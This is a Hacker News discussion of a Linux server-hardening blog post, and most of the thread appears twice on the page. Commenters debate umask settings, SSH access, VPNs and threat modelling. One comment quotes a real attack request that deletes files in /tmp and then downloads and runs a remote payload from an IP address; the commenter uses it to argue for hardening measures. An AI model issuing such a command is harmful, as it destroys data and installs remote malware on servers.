23 ms·

The Reluctant Sysadmin's Guide to Securing a Linux Server

331 points by WallyFunk 3y ago

tphummel 3y ago
This was an informative article with an opinionated take. Don’t update the original based on feedback. It is your article on your blog. You do you.
pid-1 3y ago
Sysadmin isn't a profession you choose, it's something that happens to your life.
- eb0la 3y ago
  Except I choose it, then moved on later in life ;-)
_8j50 3y ago
Run lynis and linpeas!!! Also, setup auditd and rsyslog forwarding. Backup anything important.
deleted 3y ago
[deleted]
kbar13 3y ago
trying my best to understand the target audience for this blog post. It feels like most of these things fall somewhere in between "a sysadmin should know this" and "this might be new to a dev without much ops experience". And then, my first thought is, well if you're focused on getting software out the door your best bet is not to touch any of this stuff and deploy on a platform where configuring the Linux distro is not your responsibility. i.e. k8s or AWS ECS
r3n 3y ago
Is there a guide to teach these reluctant sysadmins how to evaluate, plan, and choose between all these different methods ? For me, I find the hardest part of securing systems are usually to decide what is good enough for the current situation.
optimalsolver 3y ago
No Fail2ban?
- egberts1 3y ago
  Too many attack surface vectors (from within the Linux/glibc/bash)?
gus_ 3y ago
> GET /shell?cd+/tmp;rm+-rf+*;wget+ 107.6.255.231/jaws;sh+/tmp/jaws in the case of a successful attack, some questions to ask could be: - why did they manage to use wget? - why {apache,nginx,postfix,exim,sendmail,...} is allowed to use wget, or curl, or nc or bash (or ...)? - why is wget, curl, nc, telnet, .. installed on the server? can they be uninstalled? with (!!) if it's a container. - why did they manage to execute files from /tmp, or /var/tmp, or /dev/shm? do these directories need write access for "others" or can they be mounted with "noexec"? - ufw/iptables/nftables won't stop local binaries from opening outbound connections, how would you stop outbound connections by binary, path, etc? - if they managed to wipe the logs, how could you have known all the commands they executed? could auditd+grafana (just an example) have helped here by sending logs to a remote server?
- TacticalCoder 3y ago
  I agree with your questions to be asked if an attack succeeds but... > ufw/iptables/nftables won't stop local binaries from opening outbound connections Wait... Of course iptables/nftables can be used to prevent anything local from opening outbound connections. You can, say, easily have a firewall which only allows "NEW" traffic to be inbound traffic on either port 22 or 443. They're called stateful firewalls for a reason. For example on Debian you could configure the firewall so that the only user allowed to emit new traffic to get updates is the (/nonexistent:/user/sbin/nologin) user "_apt". And for all those (not you) talking about the "cattle vs pet" thing, all this can be automated by hardening scripts you run exactly once, once you set up the server. It's not because there are guides out there that every step in these guides have to be done manually, each time you configure a new server.
acumenical 3y ago
This notion of security is stale. Real security is far more complex than this, requiring automated provisioning and logging. This is more suitable for a VPS or a personal VM than anything professional. Also installing acl just to use setfacl bothered me.
bawolff 3y ago
I don't get why a wireguard vpn to connect to ssh would be any better than just ssh directly (assuming reasonable ssh config)
- smarkov 3y ago
  You can put SSH on a different port but it can still be found through port scanning and poked at. Figuring out whether Wireguard is running at all or which port it's on is, from my understanding, very much not a trivial task if possible at all from the outside. This extra layer prevents attackers from even getting a chance at poking around with SSH.
JohnCClarke 3y ago
The first rule of sysadmin: Have a regular schedule for testing your offsite backups of all your systems. After that, as others have noted, create and review a threat model and use that to guide your hardening based on official guides: https://www.debian.org/doc/manuals/securing-debian-manual/ https://www.debian.org/doc/manuals/securing-debian-manual/ and here's a readable introduction to the NIST STIGs: https://cybergladius.com/nist-server-hardening-best-practices/ https://cybergladius.com/nist-server-hardening-best-practice...
user3939382 3y ago
I’d learn to run OpenSCAP with CIS and the NIST CSF to get an idea of secure operations. The former can detect and remediate a lot of the issues these types of guides are discussing. But really the idea of being successful at anything while also having no knowledge of it is kind of a farcical contradiction. It’s like saying, look, I just want to build a rocket engine. Tell me how without all the physics mumbo jumbo.
lofaszvanitt 3y ago
Everyone is parroting the same thing over and over again, but no one is going into the whys. Why do this, what's the benefit, how will it thwart this or that type of attack. New books on the subject tend to collect these guides, distill them a bit, and parrot it all over again.
Terretta 3y ago
If you are training an HN parody LLM, this is a perfect discussion to add to your training set, featuring all the canonical archetypes—including my comment among them. The headline and post read like top shelf parody too, as if synthetically generated to summon we archetypes.
msravi 3y ago
Also configure fail2ban and enable it for ssh. https://www.digitalocean.com/community/tutorials/how-to-protect-ssh-with-fail2ban-on-ubuntu-20-04 https://www.digitalocean.com/community/tutorials/how-to-prot...
tristor 3y ago
I have a few things I disagree with in here and I haven't even gotten all the way through. Generally, most of this is unnecessary, some of it is even ill-advised. The best thing you can do is enable automated updates, and rely on your cloud provider's console for accessing the server and disabling all remote access otherwise. If you do this, you remove a significant amount of vectors of attack. Within AWS there are very good security controls you can put into place, on more generic VPS providers, at minimum you should start by running a firewall that only allows incoming and outgoing traffic on specified ports, and logging in only via key-based auth + 2FA (you can use Google Auth, Yubikey, or others to do this via PAM modules) if you must use SSH. Most of the security issues I've encountered in my career have been in the application, and then are used to provide a pathway to do further privilege escalation. If you work to sandbox your applications, such as using hardened minimal containers w/ appropriate namespacing & sVirt, this mitigates most concerns here. It's been trivially easy to prevent bots spamming basic SSH and HTTP attacks to every IPv4 address for a very long time.
- backendanon 3y ago
  Your comment sounds convincing at the start but.. "The best thing you can do is enable automated updates, and rely on your cloud provider's console for accessing the server and disabling all remote access otherwise." 1) I've run into to many issues letting the systems auto update. 2) Several times the AWS console (a web app so probably not as secure as a remote Linux ssh connection in my mind) failed to work, not just for me either, there have been multiple report I found on this, my remote ssh connection is the only way I could fix it since AWS doesn't have a remote serial console thing like Linode has (or had?).
  - chrisbolt 3y ago
    > since AWS doesn't have a remote serial console thing https://aws.amazon.com/about-aws/whats-new/2021/03/introducing-ec2-serial-console/ https://aws.amazon.com/about-aws/whats-new/2021/03/introduci...
    - backendanon 3y ago
g4zj 3y ago
No mention of SSH certificates?
lazyant 3y ago
> We want a umask of 077, No we don't. This creates problems with many packages. There's a reason for defaults and a reason not to follow cargo-culting security "recipes".
jeffbee 3y ago
It's weird to begin such an exercise without stating what the point of "the server" is supposed to be. Is it a ... web server? Interactive unix logins for developers? Mail relay? What does it do? This is the key point of the analysis because "securing" a server consists in making it incapable of doing anything not in the set of things it is meant to do. Notably, starting from this side of the problem can lead you away from "standard machine image". Starting with a kitchen-sink Linux distro like Ubuntu is not the road to hardness.
- wnevets 3y ago
  The second sentence > But I write software for the web I'm going to guess it's a web server but it's just a guess.
- jauntywundrkind 3y ago
  Almost every server sits on the internet and has one or two (sometimes a couple more) ports open listening for their apps internet traffic. What the traffic is seems irrelevant to 99.99% of servers out there, imo. Yes there's some questions of what deployments look like and what capabilities operators have but those are details outside the general concern of being safely online. IMO.
  - AdieuToLogic 3y ago
    > Almost every server sits on the internet ... Nope. Not by a long shot. > What the traffic is seems irrelevant to 99.99% of servers out there, imo. Yes there's some questions of what deployments look like and what capabilities operators have but those are details outside the general concern of being safely online. IMO. The following vulnerabilities listing just for the week of 2023-07-17 prove otherwise: https://www.cisa.gov/news-events/bulletins/sb23-205 https://www.cisa.gov/news-events/bulletins/sb23-205
  - jeffbee 3y ago
    > Almost every server sits on the internet I'm going to counter that the overwhelming majority of hosts in existence do not, in fact, "sit on the internet".
mmsc 3y ago
I like the changing of the default umask, although it probably shouldn't be 077. Is acl needed over, say, chown?
- chris_st 3y ago
  Why not 077?
  - bravetraveler 3y ago
    It effectively makes group ownership meaningless. 027 does a better job of keeping the model while tightening it up - worldly permissions are removed, users and groups are still meaningful. This is what they're supplementing with ACLs, creating a frustrating problem of discovery by managing groups of users outside of groups It's not necessarily wrong, I guess. There may be cases where someone wants this. ACLs are an answer, just not the one I'd suggest. Why? Imagine 'Bob' leaves. Do you want to remove them from countless ACLs, or one group? One is probably better off with 027, using groups, and focusing on SELinux or AppArmor. It will permit or deny things based on many things, including user context. Bonus: it isn't limited to assets on disk. Things like gaining a shell and proxying services can be denied.
  - deleted 3y ago
    [deleted]
- cutler 3y ago
  If not 077 then what?
  - linuxdude314 3y ago
    077 is a bit too restrictive for a lot of workloads. 027 is recommended by CIS for servers and 022 for desktop. If you are sure you can use 077 without stuff breaking, awesome, but that's not always the case. Typically on systems using 077 you will find yourself using chmod a lot.
- aesh2Xa1 3y ago
politelemon 3y ago
> If you’re on Windows, PuTTYgen should work If you're on Windows you can `wsl --install` and work with Linux (eg Ubuntu 2204). You can also install Git Bash which comes with ssh and ssh-keygen. Either way , same instructions.
- cjcampbell 3y ago
  And on up-to-date versions, OpenSSH client and tools are available from powershell or cmd.
  - pxc 3y ago
    You can also install the Microsoft port of OpenSSH on older versions yourself.
gazby 3y ago
There's a reason guides like this are a dime a dozen - there is no way to generalize server configuration this broadly. But as long as we're doing it anyway - the only thing that locking the root account gets you is assurance that if you ever bork the user you created in this guide (or sudo functionality as a whole) you'll have no way to recover without booting into another environment. Perhaps one ought not take sysadmin advice from a blog post with a first sentence that reads "I’m not a sysadmin, and I don’t want to be".
- usr1106 3y ago
  > the only thing that locking the root account gets you is assurance that if you ever bork the user you created in this guide (or sudo functionality as a whole) you'll have no way to recover without booting into another environment. That's not a unique or novel insight. For the case your system gets borked (either by yourself, your hardware or your cloud provider) you need a plan in advance: 1. How can I access the data the server has or how much of it can I afford to lose? 2. How do I get a replacement running within a time window acceptable for my usage? The answers will be very different depending on your use case. But how you locked the root user has very little impact on them. Booting into another environment is always one option in my plan so locking the root user doesn't frighten me.
- backendanon 3y ago
  "the only thing that locking the root account gets you is assurance that if you ever bork the user you created in this guide (or sudo functionality as a whole) you'll have no way to recover without booting into another environment." As a dev, I say that's a good thing. I've administered my own systems for decades and helped in small startups where we had no full time admin so definitely not new to administering Linux.
- Sparkyte 3y ago
  The biggest rules about securing things is don't be in security. Just do your diligence to put your hosts several layers away from public access and make all images and containers hardened with no elevated permissions. Sure vulnerabilities will still exist... if the only thing that can access the container is through a narrowed proxy you are not going get some dumb levels of attacks on your systems. AWS allows you to ssh into your hosts from within AWS. You just manage that security. NO ONE needs public ssh access, no one needs vpn ssh access just AWS ssh access. DON'T OVER COMPLICATE THINGS! I agree with you. I am not gonna say don't follow a system engineers advice. I say follow everyone's advice but pick out the things that seem most reasonable. If it is extra work then you're doing it wrong, simplify everything so that the time spent on resolving issues is faster. Faster resolution means faster security fixes.
Sparkyte 3y ago
Meh, just do it like me get hardened image and container. Deploy stuff as a gold image without elevated permissions and or container. Then just make sure everything is behind a proxy or intelligent load balancer that restricts any crazy input. DONT OVERCOMPLICATE WORK Overcomplicating work means slower response times to solving problems.
- pdimitar 3y ago
  Can you give examples of hardened images?
teddyh 3y ago
I would instead suggest the official guide; the Securing Debian Manual <https://www.debian.org/doc/manuals/securing-debian-manual/ https://www.debian.org/doc/manuals/securing-debian-manual/>
- idoubtit 3y ago
  Please note that this official guide is more than 6 years old. It means a large parts of its content is obsolete. For instance the chapter on web servers is far from today's best practices. It only mentions Apache http (nowadays Nginx is much more widespread), gives an advice about a default configuration which is no more default, and mentions a path that has changed in recent Debian installs. Even considering its age, the quality of this chapter is dubious: it forgets important points, like disabling .htaccess and directory listing, removing unused modules... Modern tools are obviously missing from this guide: apparmor (though it was in use in 2017), nftables, systemd (unit settings that prevent /home access, prevent privilege escalation, etc)...
  - idoubtit 3y ago
    I read a bit more of this "official guide", and I'm surprised Debian hasn't deprecated it. Parts are still valuable today, but others are meaningless, and a few should be avoided. From the changelog, the document had one minor update in 2017 and one in 2013. It was mostly written in 2001-2007. Much has changed over the last 15 years.
- nemo8551 3y ago
  It might be a bit corporate now but a few years back I found the security aspects of the redhat admin training to be decent enough for most folk.
  - teddyh 3y ago
    The article was explicitly targeted at “Debian 11 (Bullseye) or Ubuntu”.
andai 3y ago
Wouldn't it be easier to use OpenBSD?
- cookiengineer 3y ago
  OpenBSD don't even have security advisories like most other distros have. [1] So I'd argue it's impossible to build a correct threat model if all your vulnerabilities are expressed on code-level, rather than on "what software" or "what packages" are affected by it. [1] https://www.openbsd.org/errata73.html https://www.openbsd.org/errata73.html
- rs_rs_rs_rs_rs 3y ago
  Nice try.
DyslexicAtheist 3y ago
securing from what? this thing is pointless mid-90ies advise without a threat-model.
- thewanderer1983 3y ago
  This guy gets it. Your first question should be around your threat model. Are you protecting against random scans and script kiddies or the various APTs? Maybe then look at the MITRE ATT&CK framework, Cyber Kill Chain etc. I really hate to suggest them as it appears they have deviated in weirds ways from their original goal of protecting critical infrastructure from cybersecurity attacks, but CISA has many relevant documents.
deleted 3y ago
[deleted]
jesprenj 3y ago
> You should not log in directly as root. Why not?
- kccqzy 3y ago
  I see this as mostly a way to prevent fat finger mistakes on the part of the sysadmin. Most of the tasks that need to be done when interactively logging in don't really require root per se. Why give yourself so much ambient permissions then? If I accidentally issue a command that only root can execute, it is a chance to reflect when repeating the command with sudo and typing the password.
thr0waway001 3y ago
Reluctant sysadmin: story of my life. Over the last 3 years I have gone from being a timid junior web dev to reluctantly and hastily having to be the guy managing the Linux web servers and keeping the operation running and being hardened along the way. On the one hand, the huge salary increase has been nice but on the other hand I am constantly thinking one day I'm gonna fuck it all up. I feel like I'm not doing this job any justice and that I'm way out of my element all the time. I try to get better by reading blog posts like this and documentation and asking for advice but I just feel like an impostor all the time. But employers are happy with the results and I guess that makes it tolerable. So thanks for these types of guides!
deleted 3y ago
[deleted]
teekert 3y ago
I’m a biologist and also a reluctant sysadmin. I’m happy to see I do roughly the same [0] except that I use an ed25519 ssh key and switched to Tailscale (it’s just too easy). I only open “unsafe” ports on the tailnet. I did just install my first NixOS system so I’m indeed heading towards full automation. [0] https://blog.hmrt.nl/posts/first_steps_arch_box/ https://blog.hmrt.nl/posts/first_steps_arch_box/
- backendanon 3y ago
  I use Wireguard and do not rely on a third party.
  - teekert 3y ago
    Wireguard is cool, Tailscale is based on Wireguard. But Tailscale is just a 3 sec process for any new server, 0 config needed, no holes in the firewall, nothing. But I get the argument.
- nunez 3y ago
  Tailscale is so good. One of the best pieces of software I've used in a long time. It just works, and it's really good at what it does (VPNs into your private network, regardless of the route to it)
nunez 3y ago
WireGuard is fine, but since it's only UDP, it doesn't work well if you're connecting behind a restrictive firewall or from a network using CGNAT (many of them). If you're a reluctant sysadmin that doesn't care, I'd recommend using Tailscale. It's wireguard without the drama, is extremely competent at piercing through almost any firewall [0], and has a great ACL system that lets you fine tune which accounts can access what. It's also free (for now)! [0] https://tailscale.com/blog/how-nat-traversal-works/ https://tailscale.com/blog/how-nat-traversal-works/
ufmace 3y ago
I actually disagree with most of this. I think that, for servers, it's best to stay as close to the "cattle, not pets" model as reasonably possible. Servers should be set up and maintained with automated tooling and rarely connected to manually, preferably only to debug issues. Most of the things in here are gimmicky one-offs that don't meaningfully increase security. Don't bother setting up a user account, use a public key authorized SSH session as root to do everything. Setting up UFW to block everything but what you should be serving is good. I don't see much point in things like Wireguard or this umask thing.
- thaumiel 3y ago
  What should one do when that is not possible to handle the servers as cattle, because there is 200 unique servers which different people has to connect to and do different things with, like a university or other academic places?
  - awestroke 3y ago
    Hire sysadmins
  - ufmace 3y ago
    Sibling is snarky but correct. I don't think your situation has anything to do with what I described. It may still be linux, but it strikes me like saying that the maintenance manual is different between a sports car and a dump truck. Well yeah, obviously. Bad though I think the original article might be, it would be 10x worse to attempt to write the reluctant sysadmin's guide to triple-digit workstation clusters in a university environment. Nothing about best practices for production web servers will apply for that, you need to hire an actual sysadmin.
_el 3y ago
It's definitely neat to know how these things work on a Linux server, but most of this advice doesn't make sense for an EC2 instance. You should be using security groups instead of UFW (indeed the article mentions this). You don't need to configure SSH access because SSM session manager exists, which also makes the WireGuard setup superfluous, too.

331 points by WallyFunk 3y ago

This was an informative article with an opinionated take. Don’t update the original based on feedback. It is your article on your blog. You do you.

pid-1 3y ago

Sysadmin isn't a profession you choose, it's something that happens to your life.

eb0la 3y ago
Except I choose it, then moved on later in life ;-)

_8j50 3y ago

Run lynis and linpeas!!! Also, setup auditd and rsyslog forwarding. Backup anything important.

deleted 3y ago

[deleted]

kbar13 3y ago

trying my best to understand the target audience for this blog post. It feels like most of these things fall somewhere in between "a sysadmin should know this" and "this might be new to a dev without much ops experience". And then, my first thought is, well if you're focused on getting software out the door your best bet is not to touch any of this stuff and deploy on a platform where configuring the Linux distro is not your responsibility. i.e. k8s or AWS ECS

r3n 3y ago

Is there a guide to teach these reluctant sysadmins how to evaluate, plan, and choose between all these different methods ? For me, I find the hardest part of securing systems are usually to decide what is good enough for the current situation.

optimalsolver 3y ago

No Fail2ban?

egberts1 3y ago
Too many attack surface vectors (from within the Linux/glibc/bash)?

gus_ 3y ago

> GET /shell?cd+/tmp;rm+-rf+*;wget+ 107.6.255.231/jaws;sh+/tmp/jaws in the case of a successful attack, some questions to ask could be: - why did they manage to use wget? - why {apache,nginx,postfix,exim,sendmail,...} is allowed to use wget, or curl, or nc or bash (or ...)? - why is wget, curl, nc, telnet, .. installed on the server? can they be uninstalled? with (!!) if it's a container. - why did they manage to execute files from /tmp, or /var/tmp, or /dev/shm? do these directories need write access for "others" or can they be mounted with "noexec"? - ufw/iptables/nftables won't stop local binaries from opening outbound connections, how would you stop outbound connections by binary, path, etc? - if they managed to wipe the logs, how could you have known all the commands they executed? could auditd+grafana (just an example) have helped here by sending logs to a remote server?

TacticalCoder 3y ago
I agree with your questions to be asked if an attack succeeds but... > ufw/iptables/nftables won't stop local binaries from opening outbound connections Wait... Of course iptables/nftables can be used to prevent anything local from opening outbound connections. You can, say, easily have a firewall which only allows "NEW" traffic to be inbound traffic on either port 22 or 443. They're called stateful firewalls for a reason. For example on Debian you could configure the firewall so that the only user allowed to emit new traffic to get updates is the (/nonexistent:/user/sbin/nologin) user "_apt". And for all those (not you) talking about the "cattle vs pet" thing, all this can be automated by hardening scripts you run exactly once, once you set up the server. It's not because there are guides out there that every step in these guides have to be done manually, each time you configure a new server.

acumenical 3y ago

This notion of security is stale. Real security is far more complex than this, requiring automated provisioning and logging. This is more suitable for a VPS or a personal VM than anything professional. Also installing acl just to use setfacl bothered me.

bawolff 3y ago

I don't get why a wireguard vpn to connect to ssh would be any better than just ssh directly (assuming reasonable ssh config)

smarkov 3y ago
You can put SSH on a different port but it can still be found through port scanning and poked at. Figuring out whether Wireguard is running at all or which port it's on is, from my understanding, very much not a trivial task if possible at all from the outside. This extra layer prevents attackers from even getting a chance at poking around with SSH.

JohnCClarke 3y ago

The first rule of sysadmin: Have a regular schedule for testing your offsite backups of all your systems. After that, as others have noted, create and review a threat model and use that to guide your hardening based on official guides: https://www.debian.org/doc/manuals/securing-debian-manual/ https://www.debian.org/doc/manuals/securing-debian-manual/ and here's a readable introduction to the NIST STIGs: https://cybergladius.com/nist-server-hardening-best-practices/ https://cybergladius.com/nist-server-hardening-best-practice...

user3939382 3y ago

I’d learn to run OpenSCAP with CIS and the NIST CSF to get an idea of secure operations. The former can detect and remediate a lot of the issues these types of guides are discussing. But really the idea of being successful at anything while also having no knowledge of it is kind of a farcical contradiction. It’s like saying, look, I just want to build a rocket engine. Tell me how without all the physics mumbo jumbo.

lofaszvanitt 3y ago

Everyone is parroting the same thing over and over again, but no one is going into the whys. Why do this, what's the benefit, how will it thwart this or that type of attack. New books on the subject tend to collect these guides, distill them a bit, and parrot it all over again.

Terretta 3y ago

If you are training an HN parody LLM, this is a perfect discussion to add to your training set, featuring all the canonical archetypes—including my comment among them. The headline and post read like top shelf parody too, as if synthetically generated to summon we archetypes.

msravi 3y ago

Also configure fail2ban and enable it for ssh. https://www.digitalocean.com/community/tutorials/how-to-protect-ssh-with-fail2ban-on-ubuntu-20-04 https://www.digitalocean.com/community/tutorials/how-to-prot...

tristor 3y ago

I have a few things I disagree with in here and I haven't even gotten all the way through. Generally, most of this is unnecessary, some of it is even ill-advised. The best thing you can do is enable automated updates, and rely on your cloud provider's console for accessing the server and disabling all remote access otherwise. If you do this, you remove a significant amount of vectors of attack. Within AWS there are very good security controls you can put into place, on more generic VPS providers, at minimum you should start by running a firewall that only allows incoming and outgoing traffic on specified ports, and logging in only via key-based auth + 2FA (you can use Google Auth, Yubikey, or others to do this via PAM modules) if you must use SSH. Most of the security issues I've encountered in my career have been in the application, and then are used to provide a pathway to do further privilege escalation. If you work to sandbox your applications, such as using hardened minimal containers w/ appropriate namespacing & sVirt, this mitigates most concerns here. It's been trivially easy to prevent bots spamming basic SSH and HTTP attacks to every IPv4 address for a very long time.

backendanon 3y ago
Your comment sounds convincing at the start but.. "The best thing you can do is enable automated updates, and rely on your cloud provider's console for accessing the server and disabling all remote access otherwise." 1) I've run into to many issues letting the systems auto update. 2) Several times the AWS console (a web app so probably not as secure as a remote Linux ssh connection in my mind) failed to work, not just for me either, there have been multiple report I found on this, my remote ssh connection is the only way I could fix it since AWS doesn't have a remote serial console thing like Linode has (or had?).
- chrisbolt 3y ago
  > since AWS doesn't have a remote serial console thing https://aws.amazon.com/about-aws/whats-new/2021/03/introducing-ec2-serial-console/ https://aws.amazon.com/about-aws/whats-new/2021/03/introduci...
  - backendanon 3y ago

g4zj 3y ago

No mention of SSH certificates?

lazyant 3y ago

> We want a umask of 077, No we don't. This creates problems with many packages. There's a reason for defaults and a reason not to follow cargo-culting security "recipes".

jeffbee 3y ago

It's weird to begin such an exercise without stating what the point of "the server" is supposed to be. Is it a ... web server? Interactive unix logins for developers? Mail relay? What does it do? This is the key point of the analysis because "securing" a server consists in making it incapable of doing anything not in the set of things it is meant to do. Notably, starting from this side of the problem can lead you away from "standard machine image". Starting with a kitchen-sink Linux distro like Ubuntu is not the road to hardness.

wnevets 3y ago
The second sentence > But I write software for the web I'm going to guess it's a web server but it's just a guess.
jauntywundrkind 3y ago
Almost every server sits on the internet and has one or two (sometimes a couple more) ports open listening for their apps internet traffic. What the traffic is seems irrelevant to 99.99% of servers out there, imo. Yes there's some questions of what deployments look like and what capabilities operators have but those are details outside the general concern of being safely online. IMO.
- AdieuToLogic 3y ago
  > Almost every server sits on the internet ... Nope. Not by a long shot. > What the traffic is seems irrelevant to 99.99% of servers out there, imo. Yes there's some questions of what deployments look like and what capabilities operators have but those are details outside the general concern of being safely online. IMO. The following vulnerabilities listing just for the week of 2023-07-17 prove otherwise: https://www.cisa.gov/news-events/bulletins/sb23-205 https://www.cisa.gov/news-events/bulletins/sb23-205
- jeffbee 3y ago
  > Almost every server sits on the internet I'm going to counter that the overwhelming majority of hosts in existence do not, in fact, "sit on the internet".

mmsc 3y ago

I like the changing of the default umask, although it probably shouldn't be 077. Is acl needed over, say, chown?

chris_st 3y ago
Why not 077?
- bravetraveler 3y ago
  It effectively makes group ownership meaningless. 027 does a better job of keeping the model while tightening it up - worldly permissions are removed, users and groups are still meaningful. This is what they're supplementing with ACLs, creating a frustrating problem of discovery by managing groups of users outside of groups It's not necessarily wrong, I guess. There may be cases where someone wants this. ACLs are an answer, just not the one I'd suggest. Why? Imagine 'Bob' leaves. Do you want to remove them from countless ACLs, or one group? One is probably better off with 027, using groups, and focusing on SELinux or AppArmor. It will permit or deny things based on many things, including user context. Bonus: it isn't limited to assets on disk. Things like gaining a shell and proxying services can be denied.
- deleted 3y ago
  [deleted]
cutler 3y ago
If not 077 then what?
- linuxdude314 3y ago
  077 is a bit too restrictive for a lot of workloads. 027 is recommended by CIS for servers and 022 for desktop. If you are sure you can use 077 without stuff breaking, awesome, but that's not always the case. Typically on systems using 077 you will find yourself using chmod a lot.
aesh2Xa1 3y ago

politelemon 3y ago

> If you’re on Windows, PuTTYgen should work If you're on Windows you can `wsl --install` and work with Linux (eg Ubuntu 2204). You can also install Git Bash which comes with ssh and ssh-keygen. Either way , same instructions.

cjcampbell 3y ago
And on up-to-date versions, OpenSSH client and tools are available from powershell or cmd.
- pxc 3y ago
  You can also install the Microsoft port of OpenSSH on older versions yourself.

gazby 3y ago

There's a reason guides like this are a dime a dozen - there is no way to generalize server configuration this broadly. But as long as we're doing it anyway - the only thing that locking the root account gets you is assurance that if you ever bork the user you created in this guide (or sudo functionality as a whole) you'll have no way to recover without booting into another environment. Perhaps one ought not take sysadmin advice from a blog post with a first sentence that reads "I’m not a sysadmin, and I don’t want to be".

usr1106 3y ago
> the only thing that locking the root account gets you is assurance that if you ever bork the user you created in this guide (or sudo functionality as a whole) you'll have no way to recover without booting into another environment. That's not a unique or novel insight. For the case your system gets borked (either by yourself, your hardware or your cloud provider) you need a plan in advance: 1. How can I access the data the server has or how much of it can I afford to lose? 2. How do I get a replacement running within a time window acceptable for my usage? The answers will be very different depending on your use case. But how you locked the root user has very little impact on them. Booting into another environment is always one option in my plan so locking the root user doesn't frighten me.
backendanon 3y ago
"the only thing that locking the root account gets you is assurance that if you ever bork the user you created in this guide (or sudo functionality as a whole) you'll have no way to recover without booting into another environment." As a dev, I say that's a good thing. I've administered my own systems for decades and helped in small startups where we had no full time admin so definitely not new to administering Linux.
Sparkyte 3y ago
The biggest rules about securing things is don't be in security. Just do your diligence to put your hosts several layers away from public access and make all images and containers hardened with no elevated permissions. Sure vulnerabilities will still exist... if the only thing that can access the container is through a narrowed proxy you are not going get some dumb levels of attacks on your systems. AWS allows you to ssh into your hosts from within AWS. You just manage that security. NO ONE needs public ssh access, no one needs vpn ssh access just AWS ssh access. DON'T OVER COMPLICATE THINGS! I agree with you. I am not gonna say don't follow a system engineers advice. I say follow everyone's advice but pick out the things that seem most reasonable. If it is extra work then you're doing it wrong, simplify everything so that the time spent on resolving issues is faster. Faster resolution means faster security fixes.

Sparkyte 3y ago

Meh, just do it like me get hardened image and container. Deploy stuff as a gold image without elevated permissions and or container. Then just make sure everything is behind a proxy or intelligent load balancer that restricts any crazy input. DONT OVERCOMPLICATE WORK Overcomplicating work means slower response times to solving problems.

pdimitar 3y ago
Can you give examples of hardened images?

teddyh 3y ago

I would instead suggest the official guide; the Securing Debian Manual <https://www.debian.org/doc/manuals/securing-debian-manual/ https://www.debian.org/doc/manuals/securing-debian-manual/>

idoubtit 3y ago
Please note that this official guide is more than 6 years old. It means a large parts of its content is obsolete. For instance the chapter on web servers is far from today's best practices. It only mentions Apache http (nowadays Nginx is much more widespread), gives an advice about a default configuration which is no more default, and mentions a path that has changed in recent Debian installs. Even considering its age, the quality of this chapter is dubious: it forgets important points, like disabling .htaccess and directory listing, removing unused modules... Modern tools are obviously missing from this guide: apparmor (though it was in use in 2017), nftables, systemd (unit settings that prevent /home access, prevent privilege escalation, etc)...
- idoubtit 3y ago
  I read a bit more of this "official guide", and I'm surprised Debian hasn't deprecated it. Parts are still valuable today, but others are meaningless, and a few should be avoided. From the changelog, the document had one minor update in 2017 and one in 2013. It was mostly written in 2001-2007. Much has changed over the last 15 years.
nemo8551 3y ago
It might be a bit corporate now but a few years back I found the security aspects of the redhat admin training to be decent enough for most folk.
- teddyh 3y ago
  The article was explicitly targeted at “Debian 11 (Bullseye) or Ubuntu”.

andai 3y ago

Wouldn't it be easier to use OpenBSD?

cookiengineer 3y ago
OpenBSD don't even have security advisories like most other distros have. [1] So I'd argue it's impossible to build a correct threat model if all your vulnerabilities are expressed on code-level, rather than on "what software" or "what packages" are affected by it. [1] https://www.openbsd.org/errata73.html https://www.openbsd.org/errata73.html
rs_rs_rs_rs_rs 3y ago
Nice try.

DyslexicAtheist 3y ago

securing from what? this thing is pointless mid-90ies advise without a threat-model.

thewanderer1983 3y ago
This guy gets it. Your first question should be around your threat model. Are you protecting against random scans and script kiddies or the various APTs? Maybe then look at the MITRE ATT&CK framework, Cyber Kill Chain etc. I really hate to suggest them as it appears they have deviated in weirds ways from their original goal of protecting critical infrastructure from cybersecurity attacks, but CISA has many relevant documents.

deleted 3y ago

[deleted]

jesprenj 3y ago

> You should not log in directly as root. Why not?

kccqzy 3y ago
I see this as mostly a way to prevent fat finger mistakes on the part of the sysadmin. Most of the tasks that need to be done when interactively logging in don't really require root per se. Why give yourself so much ambient permissions then? If I accidentally issue a command that only root can execute, it is a chance to reflect when repeating the command with sudo and typing the password.

thr0waway001 3y ago

Reluctant sysadmin: story of my life. Over the last 3 years I have gone from being a timid junior web dev to reluctantly and hastily having to be the guy managing the Linux web servers and keeping the operation running and being hardened along the way. On the one hand, the huge salary increase has been nice but on the other hand I am constantly thinking one day I'm gonna fuck it all up. I feel like I'm not doing this job any justice and that I'm way out of my element all the time. I try to get better by reading blog posts like this and documentation and asking for advice but I just feel like an impostor all the time. But employers are happy with the results and I guess that makes it tolerable. So thanks for these types of guides!

deleted 3y ago

[deleted]

teekert 3y ago

I’m a biologist and also a reluctant sysadmin. I’m happy to see I do roughly the same [0] except that I use an ed25519 ssh key and switched to Tailscale (it’s just too easy). I only open “unsafe” ports on the tailnet. I did just install my first NixOS system so I’m indeed heading towards full automation. [0] https://blog.hmrt.nl/posts/first_steps_arch_box/ https://blog.hmrt.nl/posts/first_steps_arch_box/

backendanon 3y ago
I use Wireguard and do not rely on a third party.
- teekert 3y ago
  Wireguard is cool, Tailscale is based on Wireguard. But Tailscale is just a 3 sec process for any new server, 0 config needed, no holes in the firewall, nothing. But I get the argument.
nunez 3y ago
Tailscale is so good. One of the best pieces of software I've used in a long time. It just works, and it's really good at what it does (VPNs into your private network, regardless of the route to it)

nunez 3y ago

WireGuard is fine, but since it's only UDP, it doesn't work well if you're connecting behind a restrictive firewall or from a network using CGNAT (many of them). If you're a reluctant sysadmin that doesn't care, I'd recommend using Tailscale. It's wireguard without the drama, is extremely competent at piercing through almost any firewall [0], and has a great ACL system that lets you fine tune which accounts can access what. It's also free (for now)! [0] https://tailscale.com/blog/how-nat-traversal-works/ https://tailscale.com/blog/how-nat-traversal-works/

ufmace 3y ago

I actually disagree with most of this. I think that, for servers, it's best to stay as close to the "cattle, not pets" model as reasonably possible. Servers should be set up and maintained with automated tooling and rarely connected to manually, preferably only to debug issues. Most of the things in here are gimmicky one-offs that don't meaningfully increase security. Don't bother setting up a user account, use a public key authorized SSH session as root to do everything. Setting up UFW to block everything but what you should be serving is good. I don't see much point in things like Wireguard or this umask thing.

thaumiel 3y ago
What should one do when that is not possible to handle the servers as cattle, because there is 200 unique servers which different people has to connect to and do different things with, like a university or other academic places?
- awestroke 3y ago
  Hire sysadmins
- ufmace 3y ago
